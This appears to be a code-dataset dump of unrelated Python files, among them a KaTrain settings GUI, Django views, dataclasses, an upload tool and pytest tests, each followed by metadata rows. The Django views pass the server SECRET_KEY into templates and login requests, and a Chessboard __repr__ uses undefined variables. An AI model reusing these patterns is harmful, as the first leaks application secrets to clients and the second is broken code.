all_d.items() if isinstance(v, (int, float, str, bool)) and not k.startswith("_")} # no lists . dict could be supported but hard to scale cat = GridLayout(cols=2, rows=len(d) + 1, size_hint=(1, len(d) + 1)) cat.add_widget(Label(text="")) cat.add_widget(ScaledLightLabel(text=f"{k1} settings", bold=True)) for k2, v in d.items(): cat.add_widget(ScaledLightLabel(text=f"{k2}:")) cat.add_widget(self.type_to_widget_class(v)(text=str(v), input_property=f"{k1}/{k2}")) if props_in_col[0] <= props_in_col[1]: cols[0].add_widget(cat) props_in_col[0] += len(d) else: cols[1].add_widget(cat) props_in_col[1] += len(d) col_container = BoxLayout(size_hint=(1, 0.9)) col_container.add_widget(cols[0]) col_container.add_widget(cols[1]) self.add_widget(col_container) self.info_label = Label(halign="center") self.apply_button = StyledButton(text="Apply", on_press=lambda _: self.update_config()) self.save_button = StyledButton(text="Apply and Save", on_press=lambda _: self.update_config(save_to_file=True)) btn_container = BoxLayout(orientation="horizontal", size_hint=(1, 0.1), spacing=1, padding=1) btn_container.add_widget(self.apply_button) btn_container.add_widget(self.info_label) btn_container.add_widget(self.save_button) self.add_widget(btn_container) def update_config(self, save_to_file=False): updated_cat = defaultdict(list) # type: DefaultDict[List[str]] try: for k, v in self.collect_properties(self).items(): k1, k2 = k.split("/") if self.config[k1][k2] != v: self.katrain.log(f"Updating setting {k} = {v}", OUTPUT_DEBUG) updated_cat[k1].append(k2) self.config[k1][k2] = v self.popup.dismiss() except InputParseError as e: self.info_label.text = str(e) self.katrain.log(e, OUTPUT_ERROR) return if save_to_file: self.katrain.save_config() engine_updates = updated_cat["engine"] if "visits" in engine_updates: self.katrain.engine.visits = engine_updates["visits"] if {key for key in engine_updates if key not in {"max_visits", "max_time", "enable_ownership", "wide_root_noise"}}: self.katrain.log(f"Restarting Engine after {engine_updates} settings change") self.info_label.text = "Restarting engine\nplease wait." self.katrain.controls.set_status(f"Restarted Engine after {engine_updates} settings change.") def restart_engine(_dt): old_engine = self.katrain.engine # type: KataGoEngine old_proc = old_engine.katago_process if old_proc: old_engine.shutdown(finish=True) new_engine = KataGoEngine(self.katrain, self.config["engine"]) self.katrain.engine = new_engine self.katrain.game.engines = {"B": new_engine, "W": new_engine} self.katrain.game.analyze_all_nodes() # old engine was possibly broken, so make sure we redo any failures self.katrain.update_state() Clock.schedule_once(restart_engine, 0) self.katrain.debug_level = self.config["debug"]["level"] self.katrain.update_state(redraw_board=True) class ConfigAIPopup(QuickConfigGui): def __init__(self, katrain, popup: Popup, settings): super().__init__(katrain, popup, settings) self.settings = settings Clock.schedule_once(self.build, 0) def build(self, _): ais = list(self.settings.keys()) top_bl = BoxLayout() top_bl.add_widget(ScaledLightLabel(text="Select AI to configure:")) ai_spinner = StyledSpinner(values=ais, text=ais[0]) ai_spinner.fbind("text", lambda _, text: self.build_ai_options(text)) top_bl.add_widget(ai_spinner) self.add_widget(top_bl) self.options_grid = GridLayout(cols=2, rows=max(len(v) for v in self.settings.values()) - 1, size_hint=(1, 7.5), spacing=1) # -1 for help in 1 col bottom_bl = BoxLayout(spacing=2) self.info_label = Label() bottom_bl.add_widget(StyledButton(text=f"Apply", on_press=lambda _: self.update_config(False))) bottom_bl.add_widget(self.info_label) bottom_bl.add_widget(StyledButton(text=f"Apply and Save", on_press=lambda _: self.update_config(True))) self.add_widget(self.options_grid) self.add_widget(bottom_bl) self.build_ai_options(ais[0]) def build_ai_options(self, mode): mode_settings = self.settings[mode] self.options_grid.clear_widgets() self.options_grid.add_widget(LightHelpLabel(size_hint=(1, 4), padding=(2, 2), text=mode_settings.get("_help_left", ""))) self.options_grid.add_widget(LightHelpLabel(size_hint=(1, 4), padding=(2, 2), text=mode_settings.get("_help_right", ""))) for k, v in mode_settings.items(): if not k.startswith("_"): self.options_grid.add_widget(ScaledLightLabel(text=f"{k}")) self.options_grid.add_widget(ConfigPopup.type_to_widget_class(v)(text=str(v), input_property=f"{mode}/{k}")) for _ in range(self.options_grid.rows * self.options_grid.cols - len(self.options_grid.children)): self.options_grid.add_widget(ScaledLightLabel(text=f"")) self.set_properties(self, self.settings) def update_config(self, save_to_file=False): try: for k, v in self.collect_properties(self).items(): k1, k2 = k.split("/") if self.settings[k1][k2] != v: self.settings[k1][k2] = v self.katrain.log(f"Updating setting {k} = {v}", OUTPUT_DEBUG) if save_to_file: self.katrain.save_config() self.popup.dismiss() except InputParseError as e: self.info_label.text = str(e) self.katrain.log(e, OUTPUT_ERROR) return self.popup.dismiss() class ConfigTeacherPopup(QuickConfigGui): def __init__(self, katrain, popup, **kwargs): self.settings = katrain.config("trainer") self.sgf_settings = katrain.config("sgf") self.ui_settings = katrain.config("board_ui") super().__init__(katrain, popup, self.settings, **kwargs) Clock.schedule_once(self.build, 0) self.spacing = 2 def build(self, _dt): thresholds = self.settings["eval_thresholds"] undos = self.settings["num_undo_prompts"] colors = self.ui_settings["eval_colors"] thrbox = GridLayout(spacing=1, padding=2, cols=5, rows=len(thresholds) + 1) thrbox.add_widget(ScaledLightLabel(text="Point loss greater than", bold=True)) thrbox.add_widget(ScaledLightLabel(text="Gives this many undos", bold=True)) thrbox.add_widget(ScaledLightLabel(text="Color (fixed)", bold=True)) thrbox.add_widget(ScaledLightLabel(text="Show dots", bold=True)) thrbox.add_widget(ScaledLightLabel(text="Save in SGF", bold=True)) for i, (thr, undos, color) in enumerate(zip(thresholds, undos, colors)): thrbox.add_widget(LabelledFloatInput(text=str(thr), input_property=f"eval_thresholds::{i}")) thrbox.add_widget(LabelledFloatInput(text=str(undos), input_property=f"num_undo_prompts::{i}")) thrbox.add_widget(BackgroundLabel(background=color[:3])) thrbox.add_widget(LabelledCheckBox(text=str(color[3] == 1), input_property=f"alpha::{i}")) thrbox.add_widget(LabelledCheckBox(size_hint=(0.5, 1), text=str(self.sgf_settings["save_feedback"][i]), input_property=f"save_feedback::{i}")) self.add_widget(thrbox) xsettings = BoxLayout(size_hint=(1, 0.15), spacing=2) xsettings.add_widget(ScaledLightLabel(text="Show last <n> dots")) xsettings.add_widget(LabelledIntInput(size_hint=(0.5, 1), text=str(self.settings["eval_off_show_last"]), input_property="eval_off_show_last")) self.add_widget(xsettings) xsettings = BoxLayout(size_hint=(1, 0.15), spacing=2) xsettings.add_widget(ScaledLightLabel(text="Show dots/SGF comments for AI players")) xsettings.add_widget(LabelledCheckBox(size_hint=(0.5, 1), text=str(self.settings["eval_show_ai"]), input_property="eval_show_ai")) self.add_widget(xsettings) xsettings = BoxLayout(size_hint=(1, 0.15), spacing=2) xsettings.add_widget(ScaledLightLabel(text="Disable analysis while in teach mode")) xsettings.add_widget(LabelledCheckBox(size_hint=(0.5, 1), text=str(self.settings["lock_ai"]), input_property="lock_ai")) self.add_widget(xsettings) bl = BoxLayout(size_hint=(1, 0.15), spacing=2) bl.add_widget(StyledButton(text=f"Apply", on_press=lambda _: self.update_config(False))) self.info_label = Label() bl.add_widget(self.info_label) bl.add_widget(StyledButton(text=f"Apply and Save", on_press=lambda _: self.update_config(True))) self.add_widget(bl) def update_config(self, save_to_file=False): try: for k, v in self.collect_properties(self).items(): if "::" in k: k1, i = k.split("::") i = int(i) if "alpha" in k1: v = 1.0 if v else 0.0 if self.ui_settings["eval_colors"][i][3] != v: self.katrain.log(f"Updating alpha {i} = {v}", OUTPUT_DEBUG) self.ui_settings["eval_colors"][i][3] = v elif "save_feedback" in k1: if self.sgf_settings[k1][i] != v: self.sgf_settings[k1][i] = v self.katrain.log(f"Updating setting sgf/{k1}[{i}] = {v}", OUTPUT_DEBUG) else: if self.settings[k1][i] != v: self.settings[k1][i] = v self.katrain.log(f"Updating setting trainer/{k1}[{i}] = {v}", OUTPUT_DEBUG) else: if self.settings[k] != v: self.settings[k] = v self.katrain.log(f"Updating setting {k} = {v}", OUTPUT_DEBUG) if save_to_file: self.katrain.save_config() self.popup.dismiss() except InputParseError as e: self.info_label.text = str(e) self.katrain.log(e, OUTPUT_ERROR) return self.katrain.update_state() self.popup.dismiss()

46.043344

172

0.623924

1,851

14,872

4.819557

0.155592

0.050443

0.036431

0.04226

0.407578

0.355453

0.303553

0.255913

0.22901

0.205807

0

0.011589

0.257329

14,872

322

173

46.186335

0.796107

0.015533

0

0.233216

0

0.082411

0.004442

0

1

0.060071

false

0.007067

0.038869

0

0.159011

0

null

0

null

0

1

0

bb235d579c9e8335bb32b2de2493cd8f2ac94ba2

606

py

Python

Chessboard.py

choyai/basic-chess

34cf581544f63b07dba4a87d7f1a3bb19a0d102e

[ "MIT" ]

null

Chessboard.py

choyai/basic-chess

34cf581544f63b07dba4a87d7f1a3bb19a0d102e

[ "MIT" ]

null

Chessboard.py

choyai/basic-chess

34cf581544f63b07dba4a87d7f1a3bb19a0d102e

[ "MIT" ]

null

import numpy as np from enum import Enum class Square: def __init__( self, value, x, y ): self.value = value self.color = (x + y) % 2 self.x = x self.y = y def __repr__( self ): return str(self.value) + ' ' + str((x, y)) class Chessboard: def __init__(self): self.squares = [] self.state = np.zeros((8, 8)) for i in range(8): for j in range(8): square = Square(0, i, j) self.squares.append(square) def __repr__(self): return self.state.__repr__()

22.444444

50

0.4967

79

606

3.556962

0.392405

0.096085

0.078292

0.120996

0

0.016086

0.384488

606

27

51

22.444444

0.737265

0

0.1

0

0.001647

0

1

0.2

false

0

0.1

0.5

0

null

0

null

0

1

0

bb238153dbf091113a90e51973cf9de922375fa2

1,832

py

Python

server/main_app/views.py

impatrq/safe

e7ffd6a052304aceb4dd582df44032a29564f555

[ "MIT" ]

1

2021-07-13T23:01:56.000Z

server/main_app/views.py

impatrq/safe

e7ffd6a052304aceb4dd582df44032a29564f555

[ "MIT" ]

null

server/main_app/views.py

impatrq/safe

e7ffd6a052304aceb4dd582df44032a29564f555

[ "MIT" ]

null

import os import json import requests from django.http.response import HttpResponse, JsonResponse from django.conf import settings from django.shortcuts import render, redirect from django.contrib.auth.decorators import login_required from django.contrib.auth import login as auth_login, logout as auth_logout from api_tables.models import User from api_tables.forms import WorkerForm, DoorForm # Create your views here. @login_required(login_url='/login/') def index(request): return render(request, 'index.html', {'sk': os.environ.get('SECRET_KEY')}) def login(request): if request.method == 'POST': request.POST = request.POST.copy() request.POST['SECRET_KEY'] = os.environ.get("SECRET_KEY") json_response = requests.post(settings.CURRENT_HOST + '/api/auth/login/', data=request.POST).json() if json_response['authorized'] == 'true': user = User.objects.get(id=json_response['user_id']) auth_login(request, user) return redirect('main-index') else: return render(request, 'login.html', {'error': json_response['error_message']}) else: return render(request, 'login.html', {}) def logout(request): auth_logout(request) return redirect('main-login') @login_required(login_url='/login/') def workers(request): form = WorkerForm() return render(request, 'workers.html', {'form': form, 'sk': os.environ.get('SECRET_KEY')}) @login_required(login_url='/login/') def doors(request): form = DoorForm() return render(request, 'doors.html', {'form': form, 'sk': os.environ.get('SECRET_KEY')}) @login_required(login_url='/login/') def logs(request): return render(request, 'logs.html', {'sk': os.environ.get('SECRET_KEY')}) def about_us(request): return render(request, 'about-us.html', {})

33.925926

107

0.694869

240

1,832

5.183333

0.270833

0.067524

0.106913

0.072347

0.266077

0.249196

0.151125

0.102894

0

0.158297

1,832

54

108

33.925926

0.806744

0.012555

0

0.142857

0

0.142146

0

1

0.166667

false

0

0.238095

0.071429

0.619048

0

null

0

null

0

1

0

1

bb23d6cb8be15545236f6f64ea4106fde445f291

1,767

py

Python

threedi_settings/models.py

nens/threedi-settings

578e30edd4e71b38ebc61363b3777e7036906dbc

[ "MIT" ]

null

threedi_settings/models.py

nens/threedi-settings

578e30edd4e71b38ebc61363b3777e7036906dbc

[ "MIT" ]

null

threedi_settings/models.py

nens/threedi-settings

578e30edd4e71b38ebc61363b3777e7036906dbc

[ "MIT" ]

null

from dataclasses import dataclass, field from enum import Enum from typing import List, Optional @dataclass class BaseConfig: """""" uid: str # Unique id of setting sim_uid: str @dataclass class PhysicalSimulationConfig(BaseConfig): use_advection_1d: int use_advection_2d: int @dataclass class TimeStepConfig(BaseConfig): time_step: float min_time_step: float max_time_step: float use_time_step_stretch: bool output_time_step: float @dataclass class NumericalConfig(BaseConfig): cfl_strictness_factor_1d: float cfl_strictness_factor_2d: float convergence_cg: float flow_direction_threshold: float friction_shallow_water_depth_correction: int general_numerical_threshold: float time_integration_method: int limiter_waterlevel_gradient_1d: int limiter_waterlevel_gradient_2d: int limiter_slope_crossectional_area_2d: int limiter_slope_friction_2d: int max_non_linear_newton_iterations: int max_degree_gauss_seidel: int min_friction_velocity: float min_surface_area: float use_preconditioner_cg: int preissmann_slot: float pump_implicit_ratio: float limiter_slope_thin_water_layer: float use_of_cg: int use_nested_newton: bool flooding_threshold: float @dataclass class AggregationConfig(BaseConfig): flow_variable: str method: str interval: float name: Optional[str] = "" @dataclass class SimulationConfig(BaseConfig): physical_config: PhysicalSimulationConfig time_step_config: TimeStepConfig numerical_config: NumericalConfig aggregation_config: Optional[List[AggregationConfig]] = field( default_factory=list ) class SourceTypes(int, Enum): ini_file = 1 sqlite_file = 2

23.25

66

0.764573

212

1,767

6

0.433962

0.066038

0.040881

0.044025

0

0.006944

0.185059

1,767

75

67

23.56

0.876389

0.011319

0

0.101695

0

1

0

false

0

0.050847

0

0.864407

0

null

0

null

0

1

0

1

bb25f70ffa6ee8081a8ce9f87977d0f789c35355

881

py

Python

devicegroups/tests.py

svelle/Lagerregal

d0340d2fa5bbb8dfc090c23a772f46f769064ea1

[ "BSD-3-Clause" ]

null

devicegroups/tests.py

svelle/Lagerregal

d0340d2fa5bbb8dfc090c23a772f46f769064ea1

[ "BSD-3-Clause" ]

null

devicegroups/tests.py

svelle/Lagerregal

d0340d2fa5bbb8dfc090c23a772f46f769064ea1

[ "BSD-3-Clause" ]

null

from __future__ import unicode_literals from django.test.client import Client from django.test import TestCase from django.urls import reverse import six from model_mommy import mommy from devicegroups.models import Devicegroup from users.models import Lageruser class DevicegroupTests(TestCase): def setUp(self): self.client = Client() Lageruser.objects.create_superuser("test", "test@test.com", "test") self.client.login(username='test', password='test') def test_devicegroup_creation(self): devicegroup = mommy.make(Devicegroup) self.assertEqual(six.text_type(devicegroup), devicegroup.name) self.assertEqual(devicegroup.get_absolute_url(), reverse('devicegroup-detail', kwargs={'pk': devicegroup.pk})) self.assertEqual(devicegroup.get_edit_url(), reverse('devicegroup-edit', kwargs={'pk': devicegroup.pk}))

35.24

118

0.746879

106

881

6.075472

0.415094

0.046584

0.043478

0.090062

0

0.144154

881

24

119

36.708333

0.854111

0

0.07605

0

0.166667

1

0.111111

false

0.055556

0.444444

0

0.611111

0

null

0

null

0

1

0

1

0

3

bb26120df60c58054886a7da4810cc127da3d62a

3,494

py

Python

uai/operation/pack/base_pack_op.py

FinchZHU/uai-sdk

78e06bebba2d18233ce6dcb5be619e940f7a7ef3

[ "Apache-2.0" ]

38

2017-04-26T04:00:09.000Z

2022-02-10T02:51:05.000Z

uai/operation/pack/base_pack_op.py

FinchZHU/uai-sdk

78e06bebba2d18233ce6dcb5be619e940f7a7ef3

[ "Apache-2.0" ]

17

2017-11-20T20:47:09.000Z

2022-02-09T23:48:46.000Z

uai/operation/pack/base_pack_op.py

FinchZHU/uai-sdk

78e06bebba2d18233ce6dcb5be619e940f7a7ef3

[ "Apache-2.0" ]

28

2017-07-08T05:23:13.000Z

2020-08-18T03:12:27.000Z

# Copyright 2017 The UAI-SDK Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== import os from datetime import datetime from uai.utils.logger import uai_logger from ucloud.ufile import putufile from uai.operation.base_operation import BaseUaiServiceOp from uai.operation.tar.base_tar_op import UaiServiceTarOp UFILE_INFO = './ufile_info.log' CURRENT_PATH = os.getcwd() class UaiServicePackOp(UaiServiceTarOp): """ The Base Pack Tool Class with UAI """ def __init__(self, parser): super(UaiServicePackOp, self).__init__(parser) self.conf_params = {} self.filelist = [] self.ufile_info = [] self.platform = '' def _add_ufile_args(self, pack_parser): ufile_parse = pack_parser.add_argument_group( 'Ufile-Params', 'Ufile Parameters, help to upload file to Ufile automatically' ) ufile_parse.add_argument( '--bucket', type=str, required=True, help='the name of ufile bucket') def _add_args(self): super(UaiServicePackOp, self)._add_args() self._add_account_args(self.parser) self._add_ufile_args(self.parser) def _parse_args(self, args): super(UaiServicePackOp, self)._parse_args(args) self._parse_account_args(args) if "ai_arch_v" in args: if self.platform != args["ai_arch_v"].lower().split('-')[0]: raise RuntimeError("ai_arch_v should be one version of " + self.platform) self.bucket = args['bucket'] def _upload_to_ufile(self): public_key = self.public_key private_key = self.private_key bucket = self.bucket uai_logger.debug('Start upload file to the bucket {0}'.format(bucket)) handler = putufile.PutUFile(public_key, private_key) local_file = os.path.join(CURRENT_PATH, self.pack_file_path, self.upload_name) local_file = local_file.replace('\\', '/') key = self.upload_name uai_logger.info('Upload >> key: {0}, local file: {1}'.format(key, local_file)) ret, resp = handler.putfile(bucket, key, local_file) uai_logger.debug('Ufile response: {0}'.format(resp)) assert resp.status_code == 200, 'upload seems something error' uai_logger.debug('upload local file :{0} to ufile key= {1} successful'. format(local_file, key)) current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S') self.ufile_info.append('Upload Time: {0}\n'.format(current_time)) self.ufile_info.append('Path of Upload File: {0}\n'.format(key)) def _pack(self): self._upload_to_ufile() with open(UFILE_INFO, 'w') as f: f.write(''.join(self.ufile_info)) def cmd_run(self, args): self._parse_args(args) super(UaiServicePackOp, self).cmd_run(args) self._pack()

38.822222

90

0.647682

461

3,494

4.713666

0.357918

0.033134

0.046019

0.014726

0

0.007366

0.222954

3,494

89

91

39.258427

0.793002

0.199485

0

0.148722

0

0.016393

1

0.114754

false

0

0.098361

0

0.229508

0

null

0

null

0

1

0

bb27a05966e2cdc151b7cb1b1d26243619e72b33

778

py

Python

reader/migrations/0005_managers.py

FroshOU/manga

60ec24a007a7e9ebe0c152cf1f2a2aa0362f17f2

[ "MIT" ]

58

2019-03-04T09:22:42.000Z

2022-02-18T09:11:57.000Z

reader/migrations/0005_managers.py

FroshOU/manga

60ec24a007a7e9ebe0c152cf1f2a2aa0362f17f2

[ "MIT" ]

21

2019-03-07T19:34:53.000Z

2021-12-19T12:46:40.000Z

reader/migrations/0005_managers.py

FroshOU/manga

60ec24a007a7e9ebe0c152cf1f2a2aa0362f17f2

[ "MIT" ]

14

2019-06-06T09:53:13.000Z

2021-12-17T14:34:13.000Z

from django.conf import settings from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ('reader', '0004_aliases'), ] operations = [ migrations.AddField( model_name='series', name='manager', field=models.ForeignKey( help_text='The person who manages this series.', blank=False, null=True, on_delete=models.SET_NULL, to=settings.AUTH_USER_MODEL, limit_choices_to=models.Q( ('is_superuser', True), ('groups__name', 'Scanlator'), _connector='OR' ), ), ), ]

29.923077

71

0.552699

72

778

5.75

0.694444

0.048309

0.077295

0.101449

0

0.007843

0.344473

778

25

72

31.12

0.803922

0

0.136364

0

0.12982

0

1

0

false

0

0.090909

0

0.227273

0

null

0

null

0

1

0

bb2c5307cd59ead7a7f4bf7a140973af81e47bad

2,099

py

Python

mapss/static/packages/arches/arches/setup.py

MPI-MAPSS/MAPSS

3a5c0109758801717aaa8de1125ca5e98f83d3b4

[ "CC0-1.0" ]

null

mapss/static/packages/arches/arches/setup.py

MPI-MAPSS/MAPSS

3a5c0109758801717aaa8de1125ca5e98f83d3b4

[ "CC0-1.0" ]

null

mapss/static/packages/arches/arches/setup.py

MPI-MAPSS/MAPSS

3a5c0109758801717aaa8de1125ca5e98f83d3b4

[ "CC0-1.0" ]

null

import sys import os import subprocess import shutil import urllib.request, urllib.error, urllib.parse import zipfile import datetime import platform import tarfile from arches import settings here = os.path.dirname(os.path.abspath(__file__)) root_dir = os.path.dirname(here) def install(): # CHECK PYTHON VERSION if not sys.version_info >= (3, 7): print("ERROR: Arches requires at least Python 3.7") sys.exit(101) else: pass return True def unzip_file(file_name, unzip_location): try: # first assume you have a .tar.gz file tar = tarfile.open(file_name, "r:gz") tar.extractall(path=unzip_location) tar.close() except: # next assume you have a .zip file with zipfile.ZipFile(file_name, "r") as myzip: myzip.extractall(unzip_location) def get_version(version=None): "Returns a PEP 440-compliant version number from VERSION." version = get_complete_version(version) # Now build the two parts of the version number: # major = X.Y[.Z] # sub = .devN - for pre-alpha releases # | {a|b|rc}N - for alpha, beta and rc releases major = get_major_version(version) sub = "" if version[3] != "final": mapping = {"alpha": "a", "beta": "b", "rc": "rc"} sub = mapping[version[3]] + str(version[4]) return str(major + sub) def get_major_version(version=None): "Returns major version from VERSION." version = get_complete_version(version) parts = 3 major = ".".join(str(x) for x in version[:parts]) return major def get_complete_version(version=None): """Returns a tuple of the django version. If version argument is non-empty, then checks for correctness of the tuple provided. """ if version is None: from arches import VERSION as version else: assert len(version) == 5 assert version[3] in ("alpha", "beta", "rc", "final") return version if __name__ == "__main__": install()

25.91358

80

0.623154

280

2,099

4.557143

0.403571

0.087774

0.04232

0.058777

0.10815

0.067398

0

0.010478

0.272511

2,099

80

81

26.2375

0.825147

0.218199

0

0.078431

0

0.112064

0

0.039216

1

0.098039

false

0.019608

0.215686

0

0.392157

0.019608

0

null

0

null

0

1

0

bb2ca45bc470c22818c168cb989383dbf565e235

3,360

py

Python

modules/dataproviders/mldataprovider.py

imdatsolak/bender

e20a5c7553d0db60440573b4fc3e907d6a8d5fad

[ "BSD-3-Clause" ]

null

modules/dataproviders/mldataprovider.py

imdatsolak/bender

e20a5c7553d0db60440573b4fc3e907d6a8d5fad

[ "BSD-3-Clause" ]

null

modules/dataproviders/mldataprovider.py

imdatsolak/bender

e20a5c7553d0db60440573b4fc3e907d6a8d5fad

[ "BSD-3-Clause" ]

null

# -*- coding: utf-8 -*- import sys reload(sys) sys.setdefaultencoding("utf-8") import logging import os from modules.mlbendermodule import MLBenderModule """ Class MLDataProvider as described at: https://wiki.ml.de/pages/viewpage.action?pageId=7144585 Copyright (c) 2019 Imdat Solak All Rights Reserved """ class MLDataProvider(MLBenderModule): def __init__(self, moduleConfig, configDictionary): super(MLDataProvider, self).__init__(configDictionary) self.profile = { "name" : "mldata-provider", "class" : "data-provider", "supported-languages" : [], } self.logger = logging.getLogger(os.path.basename(sys.argv[0])) self.module_config = moduleConfig self.variables = { 'benderversion': { 'required': [], 'optional': [], 'processor': self._getVersion, 'na-processor': self._cannot } } def initForBender(self, benderInstance): self.benderCore = benderInstance def getProvidedVariables(self): return self.variables def _getVersion(self, variable, extractedValues): return '1.1.0b' def _cannot(self, variable): return '' def canProvideDataForVariable(self, variable, dataExtractors, sessionID): varReqData = [] if variable in self.variables.keys(): varSpec = self.variables[variable] varRequirements = varSpec['required'] for requiredVariable in varRequirements: for extractor in dataExtractors: # TODO: We should not look into the extractor's internal data # structure but instead have a method for it... if extractor.canExtractVariable(requiredVariable): varReqData.append({'requiredVariable' : requiredVariable, 'extractor': extractor}) break self.logger.info('Var Req Data Len {:d}, varRs {:d}'.format(len(varReqData), len(varRequirements))) if len(varReqData) < len(varRequirements): return False, None else: return True, varReqData def cannotProvideDataMessageForVariable(self, variable, dataExtractors, sessionID): func = self.variables[variable].get('na-processor',None) if func is not None: return func(variable, extractedValues) else: return None def provideDataForVariable(self, variable, dataExtractors, sessionID): canProvideData, dataExtractorSpecs = self.canProvideDataForVariable(variable, dataExtractors, sessionID) if canProvideData: extractedValues = {} if dataExtractors is not None and len(dataExtractors) > 0: for deSpec in dataExtractorSpecs: rVar = deSpec['requiredVariable'] dE = deSpec['extractor'] value = dE.getValueForVariableInSession(rVar, sessionID) extractedValues[rVar] = value retval = self.variables[variable]['processor'](variable, extractedValues) self.logger.info('Response is {}'.format(retval)) return retval, False return None, True

37.333333

112

0.600893

292

3,360

6.869863

0.438356

0.038883

0.061815

0.052343

0

0.007729

0.306845

3,360

89

113

37.752809

0.853585

0.037798

0

0.029851

0

0.079542

0

0.011236

0

1

0.119403

false

0

0.059701

0.044776

0.328358

0

null

0

null

0

1

0

1

bb2e7d5f7c0ebcba291fff0eb900b78cfa2b84c9

24,753

py

Python

tests/integration/test_krkgw_page.py

konrad-kocik/nicelka

a174fce9b8c6d4414312120e89e10bb1e10629df

[ "MIT" ]

null

tests/integration/test_krkgw_page.py

konrad-kocik/nicelka

a174fce9b8c6d4414312120e89e10bb1e10629df

[ "MIT" ]

null

tests/integration/test_krkgw_page.py

konrad-kocik/nicelka

a174fce9b8c6d4414312120e89e10bb1e10629df

[ "MIT" ]

null

from pytest import fixture from tests.integration.utilities.utilities import get_io_dir_paths, create_dir, remove_dir, run_krkgw_searcher, assert_report_file_content_equals test_suite = 'krkgw_page' test_cases = ['no_result', 'no_result_twice', 'single_result', 'single_result_indirect_match_skipped', 'single_result_indirect_match_allowed', 'single_result_duplicate_skipped', 'single_result_duplicate_allowed', 'single_result_twice', 'multiple_results', 'multiple_results_indirect_matches_skipped', 'multiple_results_indirect_matches_allowed', 'multiple_results_duplicate_skipped', 'multiple_results_duplicate_allowed', 'multiple_results_twice', 'multiple_results_on_multiple_pages_all_allowed', 'multiple_results_on_multiple_pages_indirect_matches_skipped', 'multiple_results_with_empty_details', 'basic_use_cases' ] @fixture(scope='module') def create_reports_dirs(): for test_case in test_cases: _, report_dir_path = get_io_dir_paths(test_suite, test_case) create_dir(report_dir_path) @fixture(scope='module') def remove_reports_dirs(request): def teardown(): for test_case in test_cases: _, report_dir_path = get_io_dir_paths(test_suite, test_case) remove_dir(report_dir_path) request.addfinalizer(teardown) def test_no_result(create_reports_dirs, remove_reports_dirs): expected_report = \ '======================================================================' + '\n' + \ '33-383 MUSZYNKA' + '\n\n' + \ 'Results found: 0' data_dir_path, report_dir_path = get_io_dir_paths(test_suite, test_case='no_result') searcher = run_krkgw_searcher(data_dir_path, report_dir_path) assert_report_file_content_equals(expected_report, searcher.report_file_path) def test_no_result_twice(create_reports_dirs, remove_reports_dirs): expected_report = \ '======================================================================' + '\n' + \ '33-383 MUSZYNKA' + '\n\n' + \ '======================================================================' + '\n' + \ '33-322 JASIENNA' + '\n\n' + \ 'Results found: 0' data_dir_path, report_dir_path = get_io_dir_paths(test_suite, test_case='no_result_twice') searcher = run_krkgw_searcher(data_dir_path, report_dir_path) assert_report_file_content_equals(expected_report, searcher.report_file_path) def test_single_result(create_reports_dirs, remove_reports_dirs): expected_report = \ '======================================================================' + '\n' + \ '21-075 ZEZULIN PIERWSZY' + '\n\n' + \ 'Koło Gospodyń Wiejskich "Zezulin" w Zezulinie' + '\n' + \ 'Zezulin Pierwszy 22A' + '\n' + \ '21-075 Zezulin Pierwszy' + '\n\n' + \ 'Results found: 1' data_dir_path, report_dir_path = get_io_dir_paths(test_suite, test_case='single_result') searcher = run_krkgw_searcher(data_dir_path, report_dir_path) assert_report_file_content_equals(expected_report, searcher.report_file_path) def test_single_result_indirect_match_skipped(create_reports_dirs, remove_reports_dirs): expected_report = \ '======================================================================' + '\n' + \ '33-334 BOGUSZA' + '\n\n' + \ 'Results found: 0' data_dir_path, report_dir_path = get_io_dir_paths(test_suite, test_case='single_result_indirect_match_skipped') searcher = run_krkgw_searcher(data_dir_path, report_dir_path) assert_report_file_content_equals(expected_report, searcher.report_file_path) def test_single_result_indirect_match_allowed(create_reports_dirs, remove_reports_dirs): expected_report = \ '======================================================================' + '\n' + \ '33-334 BOGUSZA' + '\n\n' + \ 'Koło Gospodyń Wiejskich w Boguszach' + '\n' + \ 'Bogusze 45' + '\n' + \ '16-100 Bogusze' + '\n\n' + \ 'Results found: 1' data_dir_path, report_dir_path = get_io_dir_paths(test_suite, test_case='single_result_indirect_match_allowed') searcher = run_krkgw_searcher(data_dir_path, report_dir_path, allow_indirect_matches=True) assert_report_file_content_equals(expected_report, searcher.report_file_path) def test_single_result_duplicate_skipped(create_reports_dirs, remove_reports_dirs): expected_report = \ '======================================================================' + '\n' + \ '21-075 ZEZULIN PIERWSZY' + '\n\n' + \ 'Koło Gospodyń Wiejskich "Zezulin" w Zezulinie' + '\n' + \ 'Zezulin Pierwszy 22A' + '\n' + \ '21-075 Zezulin Pierwszy' + '\n\n' + \ '======================================================================' + '\n' + \ '21-075 ZEZULIN PIERWSZY' + '\n\n' + \ 'Results found: 1' data_dir_path, report_dir_path = get_io_dir_paths(test_suite, test_case='single_result_duplicate_skipped') searcher = run_krkgw_searcher(data_dir_path, report_dir_path) assert_report_file_content_equals(expected_report, searcher.report_file_path) def test_single_result_duplicate_allowed(create_reports_dirs, remove_reports_dirs): expected_report = \ '======================================================================' + '\n' + \ '21-075 ZEZULIN PIERWSZY' + '\n\n' + \ 'Koło Gospodyń Wiejskich "Zezulin" w Zezulinie' + '\n' + \ 'Zezulin Pierwszy 22A' + '\n' + \ '21-075 Zezulin Pierwszy' + '\n\n' + \ '======================================================================' + '\n' + \ '21-075 ZEZULIN PIERWSZY' + '\n\n' + \ 'Koło Gospodyń Wiejskich "Zezulin" w Zezulinie' + '\n' + \ 'Zezulin Pierwszy 22A' + '\n' + \ '21-075 Zezulin Pierwszy' + '\n\n' + \ 'Results found: 2' data_dir_path, report_dir_path = get_io_dir_paths(test_suite, test_case='single_result_duplicate_allowed') searcher = run_krkgw_searcher(data_dir_path, report_dir_path, allow_duplicates=True) assert_report_file_content_equals(expected_report, searcher.report_file_path) def test_single_result_twice(create_reports_dirs, remove_reports_dirs): expected_report = \ '======================================================================' + '\n' + \ '22-234 SĘKÓW' + '\n\n' + \ 'KOŁO GOSPODYŃ 